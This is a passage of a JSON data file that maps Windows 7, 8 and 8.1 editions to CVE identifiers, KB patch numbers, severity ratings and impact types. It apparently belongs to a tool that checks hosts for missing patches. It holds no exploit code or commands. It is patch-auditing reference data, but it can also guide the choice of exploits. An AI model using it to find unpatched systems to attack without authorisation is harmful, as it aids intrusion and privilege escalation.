Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"}],"Windows 8 for 32-bit Systems":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121461","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121461","severity":"Important","impact":"Remote Code Execution"}],"Windows 8 for x64-based Systems":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"}],"Windows 8.1 for 32-bit Systems":[{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"}],"Windows 8.1 for 32-bit systems":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3185331","severity":"Important","impact":"Security 